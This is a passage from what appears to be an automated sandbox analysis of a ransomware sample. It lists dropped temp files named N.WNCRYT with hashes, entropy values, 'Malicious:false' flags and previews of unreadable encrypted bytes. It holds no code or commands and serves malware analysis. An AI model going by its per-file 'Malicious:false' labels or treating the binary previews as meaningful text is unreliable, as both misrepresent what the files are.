                                      Preview:...{.5.B.j.u.M.M.fb.Z.^n>..CC..XL7...>..w]{Y.S.....m...O..D..`.%.V..O......u.:Y...."a/..0yQ.J~C.G.9.+*R.....SN.S.F.}......#.@...Z.....>....2.9...9k..R{.E.......I.eJ.....g6.}i...h..$...c............l.......0.6:xQ......iR..D....0...;c.rSW<b....V.3.J...P. p.S./(~..4.H..q>$j..-5q.....~./-.&d.4].4.t?.'Q.M...0d.&NO......X9.Iw.../.M.=_......2._5#w...08.....ua......z.f..ew.WQ.3.3.....2..oe....9.\.~...........t4....Y[.p'...{.7T.%..fe.-I#r!.....:...+...$s...5.w....r...L.F.../3.N/..*......Lz.Y..g.N.7.@...........IT.+..{..d....MGH...........:.ra_%.....$.0=eC.A..P.{..Yw..p:..}.X.9.f.bu.3..D..u.....9'Z.ub...M.....:...H.D..}q.T!P4.2.......tK.P.5...9n...{h..p....uV.....}e.LmZ.MG1e.(.... .2...E....o..T`.'|..+..."{..zcp.A..#......+...d....eI....w.r.N.2.....o....J...r..hG.m#........=.o.Us?I....+|*..z.1.P.m:&K.N...ewjSS&./.|.sD...d..T.=..T[.AV5f.Kg'R.u..O...L.7Y}....\...|...tZ..V....!.&~.>..W.. ....GB..gjs."d.....F.....C...F.(B.....3*+.....R..20f..o;.:.@6..[d.]c.

                                      C:\Users\user\AppData\Local\Temp\29.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.790723746512218
                                      Encrypted:false
                                      SSDEEP:24:xf+nPbcVbrmznkGAA9uLkGmDDN///m/gjWFkE1sLMbm9D0p:xfQR7kQGmDDpm/gjWO9bO
                                      MD5:868BE4E8DFC8845A0AC7A009DE73A85E
                                      SHA1:DF71F707CA03EC2EFB616435AD2208BDB87945F6
                                      SHA-256:EDCE274DF72BBDE05A2F78B25FA694DB59E27C2A01EBFD9BB5FC2DD879B0839E
                                      SHA-512:E32959D68DD014C3F3EFD98BE448D88245288665AE006205C30EC4CCF0C85031DC5182A501C3AF376CF8D932E96505D84D74F4D4F5FDFF42FDEA264619467241
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:F..z..Yo.,I.....oV^.{....%lc...C.n.).&X.n.1:1.....y..o..TY..8t...k..@|..8.i...A.O......e0x{7...8..H(.....N.\..f.d<M..]..]>|.Ze.....x.x.XS.......N.-.ZLD...^..9..$.....O.(.x(p...6T....j.y.r..b..y.......j.(4M....qxo.0...TM.H....]z...i....g....v0)..2Z@.........(.Bd.V...-.a..sE..._.5..g,z.v.f.....q.:...S.-...T.pc=...y.z4..i....yP'k~\....~.ZV.L..G.a...U[...9....4........C@..X./...~.9.Z....:m..oP:.1._...O3F.*...L...R.........c.......1.cO{..S........;......+.B..v..~...'".....T..0..4"D.....T.S.>c-L../.._...xK.....v.V..3.-......'`.gPZ...KR,...<..K<....e.0.a..7p...l..K.s.2U....c.....qx_..g."..8!.TI/L.{.w}...6...X.B6...?.<..R.+.j..H...\5.6T.xn.X.......mzd-........X.y..WJ..|&.w%{9.F...0...L...)U.^=A..oO..^.^....Qlo..X.D...'..z.~,..CC.K.>..Y<.6$.......l.+...=!...<......^;...L.........9....][...y8.o.q.r.].....+........KY3o....y.jK.Mw.t.jU...7.. M9.\...5.LZq'.EO .}.c.00...POE......V.V.4I.=.8n..U.).7.\.0.2....r.%<......XM;..3@....9.\.CE8.4...[^...Q.Ar..

                                      C:\Users\user\AppData\Local\Temp\3.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.798427432535971
                                      Encrypted:false
                                      SSDEEP:24:NsOiEy66xDinFpjtPhFGCmNHX6+9XWNAQzjS:N3JnjXdmNHX6xuz
                                      MD5:3AB006F595370D8075087AA76ADD7A4F
                                      SHA1:59138D3B2570F37FBFA631C602904DA4FC9DB1B2
                                      SHA-256:CA7500FAC1A0EE98B16F4F072D2EDE8C73DA4455F06D0DA2E16532FCB7965F69
                                      SHA-512:22CE4A7818CF4FAE8698D116D47B4E8E8405DFD7BD31FAE026B41473EB91CA524C3E6B4A3B79C0683AFA2152921AE15941FF8E5DCB89A8072F6BA2742411907F
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:AaW`..}.......R...j..x3.qf.yO...v.q....`}..t.j..x.0b.EV>..B..W`|...7.{:J.[..Q.r.v.f.9v.e..c....VJ.....=...n.P_..V.;'j.Re...8..QPF...%]#....s.P.M..p+...'%.V..omZS....E9.*.zjs..K5~..!.@'...u...@?.....k.}(.I.`..K....:..0....=......**....a........=.oH,#?....)w..'.....,i.r...q..(xc.E..O..z(..OK.....= K .~..d..= ..w"3.Z.@w`Q.L.@.M...+i.G..W.f{.7.#...Iq..S&.=m...2kES+A1.@.'....8.B..3...}..Ta-w^#.$i....g...M...AiP..tc..fG....I....c...|....._.>[...w*.......m....f..}.J.....JM..ZvY....t...-....?.S...\|.sy..s.\p....TEF..T.]Y~..Z..5....5}.L.J`........C%z"...{].a8....... .{=....[..V.......Ho.SG..-.1..f....'^.D.r............a..L...;..}V.Y`7....g.W4.[0d.kpm.......%.)..eQh.@0.....X....{......XQ....l........6G..wD...1m..d...].....!....8..S.R..+....#.3..C..8.T..X.y?..A|.p.aM.TE........,.%..0....7.=..J.E._..F.5.......p.7i..X....K."..q....4.....ny.3.3....Z4..E...b..-.._..)..........bk.~x..........<-D.B.!s.S.....8I.:.K5.I..U....I..G...X..t2V....S.Z.........

                                      C:\Users\user\AppData\Local\Temp\30.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.840317688939391
                                      Encrypted:false
                                      SSDEEP:24:UbA0zyBsaT8YRok1gWpOvKJtlVmw19KxNCn4+wk/x2xNQxQDtYWuFGbPiNn:gA02/TtRXpOvKBVmDCn4+waxV+1uFsE
                                      MD5:242F7428AB15985983D1F7BC5805706E
                                      SHA1:B6D0EA8F8F4A2B042A75F9DADBFEB24AEED57E3E
                                      SHA-256:C97AD44C8FA821C0ED080D5580D951C550390D03A60CF85D365A7A70F88D6DAB
                                      SHA-512:A8DE32FC3A55D0C937D50AD6E9858CF50304C17739DB3A8719F80D46200F7843740149A44FD09A8E3A1BECF51482835355F44AFA01A72B90CCA59FF2556D773A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.M.....Q.7i.........:C.....t..MD.P.x...2.B..E......+$0..m~.u.}...fk..v..C +b..,....EeDW..1...}\..U....H7..tP(....3..o.......l5/.~......A .....ofoB.....y......$nl....Y,.9?......"........&Eg.P.{.#....|..8......4...aq...Z.W..r..{..pM.\..zC.j.$..HT...=.G..G..E.:..rv..k....0.N..".tC[.E..._.|...'.aZ..Z...(.'......|....*.P(.}.G6=.*.Q.{(v.8(.k.H.]..@g.....].A>....B.*u........0.\D.p.Ma.7.g.......isR..O.....m.>+.d... ./.r.m..D.0.=....S..Q..0S.....aK..].....\...Z4..3..e.YPe..%G[...."../k....>..J....%..m......$.Q.CG9.f.&D>....5.9.#6....V;...bxo.!.[P..........)..@.~..~..29..b.4......Z.n..?'.D>w.=t;5...xj.}x6.I(.s...J.....9.MQ.G..$.c........Q.m.L.......}.._.z7A....4A7%..<.&..Q3..NO ]..'.'=}h..!=5C().X....3...^..A..9V... .?jI.j......"...N.6..y.....+..c.....5....!............+.....Q"O.g=.....u..z..B.s4......N............r..<_L......# .n>.b...hh..Mu..d.f......\....9...c4~.C'..F.d..Y..Z..T........e0/........u..%v.!.X..tJv^..<..bx..0..&..60.$..F.=....0..Z.7

                                      C:\Users\user\AppData\Local\Temp\31.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.808751133964194
                                      Encrypted:false
                                      SSDEEP:24:kpaP02CX02zxd+054y+mC0u/G/LXVChHTYAJ0:tP0DX02zx8KeV+rVChHTTW
                                      MD5:C316C9F6962305EAC37D1AB05F5C7E66
                                      SHA1:B7DC94944BDE07E85C0E41F248B94601095C0374
                                      SHA-256:437CA512BEB099F9D80E4C4AB81D08B7DEA2D09F1DC62999EEE4D47C7B1EEBDA
                                      SHA-512:97700D0779389416B81FC5A4382282B395FA2DB7CF583B8BAF65F78F73DB2046E24243570BE7EEB92BD235C29D1E3BD3E50F8B353174B829BD8AFC1B66940901
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:...c.,.v1A...cE%.U..65.B.j"0..*..V.:.]..3i..+..g.r....^F.!F..Z[.v..#.(..6;^.........m..w.@..lCA(h.CO".>.>o....D:.,.[....Z.... l.`..*.2.&.x]c0.KD.J..../.w,.R..fO.mL....%...r..u...Y..~'.A$...|....<eng.F<<By."S......]'..._...@.". .o..9#.0...}qA.g..H+.....j.p...x.....5.!.R.b#z...g.zd.U..-...{1.S{.R.A....':..(....Z%.V6.=$|.b2H~mH.W.=.....{._,.....,..V..(..([..T..p_.....Z......A.uY...^...s.A.2..L.I..D..")...].83...w.b}U"l.+..c+.z.$X./.i<. ..~DJ.>8..k-...0...</.y...x[..B..V/h...[.w.Dk.jR.k..=..3..8..I....o.%[7.M.h~.P.. `..x_.MY.....J.n..c.i.^l}...(..Oh.=<..,.)&.....>...b.kuA.......?>T:.pF.j./...p..;.s.D...N.'....-6....mO...R!5..Y.f.....Q..>{.a.<Ka.Y4..d!.}a0*......".q.z.0.%...i.i}j@.8M..;..<.a..>.?.....?B.~..&s.X..g+....%.P.....1b.1..h..."....9l>....Z.E.g.....Ro.d._..C..............Uq.(.q.gLu.>...J.x|.t.....x...{......<...J.&\........54.3{|...J....D.cW........|...YH..^.GJ.wl..%.zv...2.X..E.E_.I.r.P.v3..(vx..D....*;3W..$.lA.47.....6........B..i...F.0V.

                                      C:\Users\user\AppData\Local\Temp\32.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.777634850510706
                                      Encrypted:false
                                      SSDEEP:12:QTT4y52zyaCFK7EjO8leni4tAOdY3ZktMTjxvwCREr6d/iDnG6bh2/iFdEGErAZ0:FyYy0Eq8QnY6aTHRlknG620EGLUA+df
                                      MD5:1DB9F0E93331D42B1CCDC02E9C4BF24A
                                      SHA1:6F4D803DF782980028D92ED031A420AE837E0571
                                      SHA-256:99B693ECC3FEA2DDBB08FCD75E8C3D652A2B4DF2439FA243B76BD4CA6F65F4E1
                                      SHA-512:715DA5F7CD795FB3498D3B159379602A5B414DD552329546C21215A28971621D509B140D276F94C9231904CBD12FF0AC5D8B20AA3FA051E341D616EC7DC1A7EB
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.q..,.%p..zg...9....M..&.]Y....y.. ..Z..........%,....6.~n........<{..B..._...5.<W..54...k.5...O"...b6.u.bR`...O...{.$.O...Z..+V*...(2...~.h.a.He....@:.rN.h...w...v.....r9..q...n4<.9p.;...&....*%.{$.m...Q....D....}w....v........xw.b..g.Y.2.....8Qd[a...[.$....Q....:.X..._k.r-....q(..R.rq<+.E..`...!...L...I....B.....2-..,...V............H6..4...8.%...'f.K..G.....d..j...O).,....R..O..........y...R.69..IA..."..W.xl.~7..<.vx.+...-..zK.}.q.3h.y....V.....4B...#.4.g.....u......~.X...q9.$.s...I.Iz}.:e......^"Y...D...a.~.)u.9;...C.........+..O.+.....i-_L.T<..5..x.w.. {..d.o..f...<..RQ....#fd..._....;.^\,li.%.....*...5..c..M..r_@.X.~..........O..I.-...b.s............%.T.j..\v,'..H...E. ap..^#e....s&........F.=m4%.U...k..9y..EL.n.....~............O...Hl..m.,....9..-..5p.-.{......+n4...Sap....H..a.d....;...v:;..N.........1..}%l5.p-~...........W.\.@J.fF^.)c.%.....TlX....}..t\.,8.Y...y.VO...ocvrK?y[]/.O.b....D...u.}......,$....0_...^.|R......_.".=`..

                                      C:\Users\user\AppData\Local\Temp\33.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.823273328323067
                                      Encrypted:false
                                      SSDEEP:24:hskdcTLCrQESGTR+YNrDWLq+dAyT+2M2XGRH6I2HLnvkm47icBmpC:hu68w+imLqOHcH6Pvpi4C
                                      MD5:9FC818D99ED3CF869A802E52A5E3034E
                                      SHA1:DE9101F5A758694396F7620B3CDE13515DB48FF3
                                      SHA-256:49298D343A83ACF74985C0483DFE3195FB77A592B60AA882B72CC93707B58DEE
                                      SHA-512:B667627460E844B0F802CF930A29AF8594799436ED46CB1519ACCD8C77C826A84C15B8BFB2A95886EA52147FB78790286EC240107499C9984888A46CDF5ADE4E
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..F.....@G3slL...4..$w(_9}.!.z..C.B|d.4..=H`D.:....(,4.O.ZIG...g.i..1k..o2{.........o..(..B.1.;.4_...F.D.S...K.....ZwB.i{:.M..,....c..DhT...E....a......U..is.\.+dK.....@...D0..&...f....+.....R.B.6..j.:.1.2.H....C...pk4..(...T..d...]... .9.....wQC.g.LI..d..o...`u..S.:...n...[Jy.`"T..i./..F.4q..O.....%......;Q...5...+f....Ve..~NR...^..w.O.J..T....J.d.D.R=.)....{y).r........q...9n...V.&.......g..5.........?.;..[..J.......fMe./.sF,l~t....P...~.K..|.YZo.4}.....Z.i.%7..&.w9Z.R.....E.l........g'......c.u.$.RiR......;Z@.....{... ..;.......s.[.'...OW.fVy....@=.3.c7.........Xo..9.7e6:.........).......c.....l.^.+...E&....]B.N...CH........DZ ..I..j.;a6......F=.IJR.....%.,u.H.H..t|.....Ez.....8I.$....~b.a.....2.P..S#...O....`c../.H[v.....F<c.k..e..QoL..t.BS.......Dt.6.Jz.....q....#..=~...._gf5.;6.36..........,7$4..4l...K!.....G.....,...d..=.r}.U...l..0L.uH..........I./(..I...#...i...]...WKG}-.!bZ...M.].b.=9.L...j....7...g.aJ.4Y ..A.........%.@m-.,u...

                                      C:\Users\user\AppData\Local\Temp\34.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.821637776023828
                                      Encrypted:false
                                      SSDEEP:24:RLAngLXfJ3XXrEq017RcvMsRSlotztcUZWUG6HWxoaSN:VAnKvFXgvsMmAChZW5UWZSN
                                      MD5:3E624FFB2F1F40F5607625401840D24A
                                      SHA1:D9409A3DE6E1363ACD785031891BF4D81582CE43
                                      SHA-256:ACC758EBA22CBF5EFEF7A692454AA2ED0E4C7ABE381E8B36B3DBB4A1867EED99
                                      SHA-512:8043E5BCC51B3928B9833939097E20C59AAE8E3554F23999752A170D659F745273487F36B89358F9894DDF004AEA9FC00C6A3482C2D65603355D0BCC695D8B40
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:....@..z....tXu....i.....P.)4M.c..]%..RQ......M...W.C........G..f.x..+P..X.7....q..gig....O....;..."...@`#C......{S!Yk1._Bs.e..m..Q{...n"&..b.]....8ii..?A..".v.N..=...G...........j.....Y...R~..*w4.`.S.Aj..bwN..9.F8O.T..........o..e...K]t...e.iX...."Gh#wJ.c.|]...~......N.l..i.~".=..FE..H.OC.r2.3N?bu.....Mc.(..9...D.I..&.b.A.}.....|!.......;.f\.9.p........E..9..1Q.bl.Q.......B}..0.W".NqU......h.^fh.&a...F=.....6..}..|dv<..jnOXN. N........(,..N_.I!.[..l.Ij....~..&._.Pi....H.Oc.....lV.).h!...D......E....d.. ......h..;.yN.N.y:.><}.jD........9.j....&.H.......Q.vr...k.(..].Bdz>Cd...V......B.}#i..e......+SK..0Xt...?.T..o../..D...fQ....s..k.9,.W6..B,...oI@..B..?1.L.E..>@l.*.$.Rp.Rd...:..o..j...zz.k=s68\.w...X....e\....L........./R,..r.5gw[r.Z.....PW..<'A5k.A+.....t.06.\n.]...*...c5h].../.....Oh8'...Z.l[vu....$....#.j7;L...y.q....U..!,.Z{#.42.n...8n.qM..`..?.'`..$......!.]...4...'u.M.I..z..-..d..+if..(Q...21AS..s.Lw.O..V....J.|.y.q....>w._.g..`6

                                      C:\Users\user\AppData\Local\Temp\35.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.834715457751506
                                      Encrypted:false
                                      SSDEEP:24:icKhIGUxNVeqMkTeZRlg6BNcajpeR50//3QIt6Cxr:i7/UxNYqM+eC6BCmw83QIICV
                                      MD5:9DE4D8852E00A0AC532366FB53C37F78
                                      SHA1:FA67D66AA965F2EAA642291A72B769A37A3D4468
                                      SHA-256:7E9698CCB9D3279F2BD120E34D0B32842346C254E181E11417F75AB4D8E1A4E0
                                      SHA-512:88B2A6B8B611612015025101CFEFF61490EBF3E634B6F6EC840F671B0D761FA797EE76CF34D38D7A68AB83831003646D1348AAE96DB9CD214921A67DF0B88921
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.$..V..y.....U,..r....%5.n.Qm...5Z..J...<.{../u*....."q.....4[.|...v..g.d}^oW../.6.............h+.+*.p./.G..e..x.W.&..{.5.).r/..Qs.24A.r.jH....+.1....>.P.-.v......R}.i....J@.|.%$.=?Me.....F ........a...v.O7l..c...=9`.,!..Q.qy....i..b....o..\.."jh..C...vrBuf.f....?RN.T.WE.o{......QNAv;\.1......?..b..z...xB&x.$V....t.tZ.TWfbO....`B>.{...,......}9..0..t.Y..nTal....4.........W.z...\<W.(7.'.X..Bfp|...L].[<.......K..U(.Qn$./..$..4.,.d...F.....P...I.r-ng....".?o.,..E. [.EL0.'?..4...m...D.Z.bq3...QX.w(e`..w.>4..B..'9.U.Ixh..D-h..&%.o......o....D..e....Q.4.....l..&.)+z.@.n...)Z......m...../..8.i$....X.........b..+......G.I.I...#.o.jw..#."kN[...R..~;...%.zg.M....x..wE..QV...@.^.M.}...I..!o9..l#q.N..,......Xpp..=..gn..lE.k..PU........s.=...6jBqE.Q..p...]!B&.l.....dn...k...8.....Ftm"|i..)k...IuR.5N.."...5.'R.k..;...=5y.K.].J=]'...$k.V_1..._...Wofl[....s..........kM>..Z.......tB............*D.]&..X.p..w.S.S.....].....d.n.7#.l.6H_...\8J...|.A..C......F.^..T

                                      C:\Users\user\AppData\Local\Temp\36.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.7697803297960615
                                      Encrypted:false
                                      SSDEEP:24:nmdJChryHiUrxc9QK6sW6/av9aN9wOpySmG2khn:nmdJyyNrxMQK6Q/Q9s9tASmbkh
                                      MD5:177F8C6872477462B8A365CE0D5A0674
                                      SHA1:91CD804111BEF139875CFBD056077C9DD0CE4182
                                      SHA-256:37954B617CA00B74575ED73E2576DA49C6B358311AAA13704B788CB277675951
                                      SHA-512:AFEB53F04437B44331F295DA52EF8F9E0C7284728F842CEEB9418656F52DD5AD1F912B0BB80CCBCBDFCC2C8B5977DB2702D0E7257106E9B7F09A47134FFDDD7E
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:JK.[...$.}%=T...Ef...(...~.C...yXA<...A.fLQ..+&.K}}.`..pY.b.G...q.T&..*..6.T..).e.~./.%..6....=..j|$*+...S..+.......hYb$e...j..(.r.*.q.eN..vL...z....B."..Zi.....2...h..T).4.........D.....L!*4....l.B..[.[g.p.V.....:.nW...sC.Y`.s....m.j.??...9...6....-E.Xe#m.....Q7....5.T...@O.....?\..usvoX.,...h..cD:...h~-Y....J..(L..].W....c..*.?.#aO/.K..2..;..$.....k.z(N-9l..d....{.,.ZM..R.%.>c.p..1.4q.7o$....!.H.u.._H...[?..`.F.J..^.......<.Ea|..#...p.......j.5...*.o=*.i. ...S...%...c<jE.......;.#..4....j\......o...H...bBN..d..SH=..Q.K.;p.lnk.'...7%.......O..ag!.\C..Wf*.mr%$.+.'.D.....5o.(...b...\k'...m.5..*....)......1b......{....X..j.jc..+..{.$-;...5......E.2$..fC..Q........p..Z.^..4.^.t.i...P....,.....k+<..e...........K...+.b.S...L_.@..~F.....aj.:...a*yr..mW..e..B.v..'[.z<.o..(......|h.......L6.L.-.H....U....~.......K..}~ .R2..xVP.A.....e.d.&.h...khu......+?....CN{....`._.k...2.H.$6..)..>p..X...............:11...J.za....N ..0..[.PI,...I.Sh\T.@7.N

                                      C:\Users\user\AppData\Local\Temp\37.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.820373538213213
                                      Encrypted:false
                                      SSDEEP:24:Tzff+t817bj+SBrsnnnQ4NbR2Fr8N5nfTtKiSNuAzFyn:Tz+igSwjNbRuy5nfTtlw5s
                                      MD5:3B35BD0F2AA73C4BCA749EB6D29E1BEC
                                      SHA1:609DEFA30D43AE8B6E088A4405FD0279EC8127EA
                                      SHA-256:BDAC5E7289AD16BFB463E9DF291624535C0752671781C89E1592BDBE4BF7674A
                                      SHA-512:25543CD38617CFEEFD065A9EF65953B911FB2415F5BE751C99BAD8AADE98866290786E4D277A68DCA8C09DC902B2394F55FC6D7F133172A6F0B5E9C0958D21A5
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:...I.,...%..{..i...j).K.7.Y1./...B.ol.....&..e.v{..H.!3z1.......K.....ft.#l.4.w._`.P..yQ...[>w.S&.3...]..a@>..h....Z......[......[.t..E.....i.D.-....;P.P......t,....A.2.fHQ(+[)...\..n..'0.7.Jf....UD... .._.f+./.....EeS.....v...<.,m.x#.V....{.C...Y.`U...\4..?;(9.......TQu.@.2..=.x.L.s........W..t.s.2....7#.I1I(....`...(.>.^}M.Y.s.\.~ e.^,V..$.?.*m..,..T*.7.{........Y....s.0.[E..?..H%=..oX.7p..B..^.O..D..Pkr...p..V..Z.c!G...;..&.iN.2......ZFu..r..!49.N..:.E'G....G...q.W.r..%..!..*.....?1...D...`.R.................?+..WS.......|. .u....u.8...s$.N.....p...<.;..%.{......? L..2e..Fd....x..#c).i.s.d..o.M9b....r-...............;...VX...`.....-..3.f...A.......A..V..N".......y...5.D?!(9....,...R...AK..2...x=.C...p..)VQ..{5Ys:15.3.$.....b.....1:..A...U..p..x...h.1e.........+.6|a.@j....D.A;.7.bR...!..*.t.........T...H....E.r..&2e!}e@..:W%>.i&...DG3......j...s.[w.-...z...........'-....=.]8....ueE.D.b}p.6.QP$x.c.y.....8..0....:..71...Pa.b.C..s.>.....B.5

                                      C:\Users\user\AppData\Local\Temp\38.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.775048130129984
                                      Encrypted:false
                                      SSDEEP:24:jALbOSsgERT+4nhlNTHqau0SxcfHmpC/O1CK+9s:EL2X9hhfu0kcfGo/6CXs
                                      MD5:FBDECAE722B2253B0EEDF4C2700190A0
                                      SHA1:5F42AE0C788F59F6575D0F932B60C06EB19D01EE
                                      SHA-256:5F422DD4AC0931FC7DEF3A46F040FEDB7614DF8CD6A3020466AF30D08D95AB30
                                      SHA-512:9444CBF4C83C823063DD4195ACA5ED74C1854CABFCCFB59D1D93AA42873B38014FFE8ACBF3F7D84F0B5F178C674DBAC1A0FEBF2F80099618DFF2614E2E297F1A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.?F.........................KY...z..5...G\..Bp..T|......j.W..>E..a...L.0KW.`.4.....8..t...a..\|...|......g.u..uT."..1.b..gy....0f<.....w.i|...m&8eXT.....}A2w.i6..pV?t.....f.9..zV.h6..j.. ...Q......X~...=.K}..C.q.n..l9#9....?....1..z......Z...%+..o...a..b.m.1 .F<....L.{.8.n..r.:....*.?o}1u....@PD.......o.(...4.j...uC.|.....+h|k.,x..G...A.q..%b.v.|VV....op.-...G......!.?i......2..I.d..!.(.T..P-h......j*{..]..pf.h..fwF..........mQAB1..LS.fAu..o.1./%.H/..^../...f\ax..;.d...}./..=.$'..VN(....qQ.....r4..S.. 7...Gg..........0..Q.c..A..Un.CJ....G..z]....9....HZ..\...%?.]%...RG....K...RY.v$.+#y....M..`I...|y'..|&.t...sm)[4.s.....w..PQc..3..p.db...]..Q.H..........\....{E.u-...Up.~FLLW*e....P...Ub.f.T...u......KEt.A..7.8...`...B.'.F.(.H8.V....07.(8...hR......".......6kk..}:.Qt.4.!._.]^A..9.B1m.Y.a.2.e....9k.:..'.9].......n.....*...b..H6.tq....L...[.uh......@QjT.......z."...G....o..i..&..%.vk.9.l.L0.....[.....'.F.aS....|..i....V...}6u......-..b..[

                                      C:\Users\user\AppData\Local\Temp\39.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.785582743248352
                                      Encrypted:false
                                      SSDEEP:24:4Ivj5ddgP2agVnfz9xmkcTeSAhjPv/PkFAMAmUJOvQDr4ZWHYPn:4IvjHa2agpj+ySGrPkFARmBvQn4
                                      MD5:CC2D1E16D518A1660B9C6E7DE5BE5B78
                                      SHA1:BAFE81F79C84DC877369052C2E503E53D7D02295
                                      SHA-256:198A316941A7BBCE7E97D83A3B659302F613457C0D1F4AFCCD49B41A42C4EE6A
                                      SHA-512:838DF64128F6C8DDB64974E348E574676621ECB701FCFB9215E284272485D9482B189C4CFB3B45AAA063D3EE8A4005995AA9FD91F2839E207AC5101998ACF4CB
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.&......u1>#...&z,.{.2...GW.@.....Z).A..|8C|.....K....~../.`w...w...=....v........<..."l.P....b.T..."...e.5..Z..a..3\C..3...G..G...8...\.wz..)...;D....q..Nq/...W.cx../..0FO4..gv..`.g.(.(br&...1..e/.Z.-.MLZ1..P..|.u.I.y.U.#,.*..F ...&.....7..[.|"...u.3.....6.Mv3.....C$..m^.wA..........~f.e...j..+..Z..V=9..M..dR..w...u....<j.........7wv.'.Yu.0}.Ug..g..-g.3.....v...j..+..3.f.;......*.pE&!#...rp...*..g&J......^..<b=...M..or...k..p.D.....yU....;S:..~va...3......T....k.......P{..".,.... .X. ...!...o.?.g|...i./..`....+..J...C......-.S....kF....#.Q...9,.....7Lf.,{4..%D...nA.;.\..8..z..KH...L.~o@e..W.~./.*..t.`~&.f..Lk.^.b.....u.....p~}%...F.....+.k._.....z..iKC.U.v..O#H..PV.....}..}>.r..FeI"P..w).._B...\@.t.]...^&qT...../T.WRx..V..lN..AD......<...N&....+L...4...4x.hrg+[....`......&lt..-B. .b.5...{.^N.7..,@.=FQ.;....1F,...}B.].....77........<.Q...r,.v.}...`..-N;...]...\b,....E..J..{.......) O.t O.. `%...3...8.....A)Dy1D&Mi..I...^...2.)G.q<

                                      C:\Users\user\AppData\Local\Temp\4.WNCRYT (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.802896284884951
                                      Encrypted:false
                                      SSDEEP:24:nmi2L3aOvwbF2erCFTSpYuiW5MB+l1/PBW:Vqap2erCFGp0Go8/I
                                      MD5:A8FB88AD178D3297C3952F7E460A3495
                                      SHA1:464A46F4946B97F98E33FA9F5B40160B4AFEC64E
                                      SHA-256:C1712CA3221F674C7969F3BE5CBB09BB4A46D3CBAE7A911C99906D535AEF7EB5
                                      SHA-512:ECCDC4E493D403BE8B9BB6CC2B8B91F21328C6593CAD33E17A58256450A6BD6CDA68692532A9BE2921B1C9C5272C8AF2A2D9FD5A912999FCD767A78B40F93511
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.G..m<5.F..^:1>H.3.. u.../O...i......_#.yB..Bn..'...+Q.3...U.T[..a@i.......j.Ve..`.B..W.....-.Z6...pw...Em...-P|..<f...._..^5B...U....2...6.cm@[._|...;.c.....+."._~...G.Y...I(I..B..IN..;9.;..`.:W.}..P|..l.n.t.J.G.V:..s2....Ko......yZ.+...sg...........9_.mj......Y.......)...S.m6.....\..3ut...EQ.X1..+...C@..]..rJ..G....bHl...B.E7h.#R4y8.\f...I...........H.`R`/..~..<.0...p..5...T#5..T.D.,k..R7.:..{.j^...X...ZM...}#a...x..:C9....l/-.R.B..wo.T.Vo. ...g.B.(.k.`.R....l./..iC.N.. .8.....s.......V.,{..\K..D.f...h.....p._...u4Z/.....(.a.k..&hW.z...'p.......v..)...8u..p..Y.._p..u....":........`.R.....).M....Q.eN..=.Y.%/.....n.es..,L..q/.n..gy..|g.9...TNc#.. &x6V.j[......?B.SY.u.....P..p.'.K..h.a.\.}4..O......5.b..-C.|..F.:.T.r"......c.z.....`.]..Zpqgk...].. ...+..TI{.Qa...b..!.... e..`...3.....NT.G....k.S....T.f..#..*Jo.>..O.... .........._.....#.[*|.....m'..ThS.j..9.S..W.8.twQ...f3....1.-.2..n......Q.)i96w5.Ir4..*l..da.:...+.......I...x.p.|

                                      C:\Users\user\AppData\Local\Temp\40.WNCRYT (copy)

                                      Download File
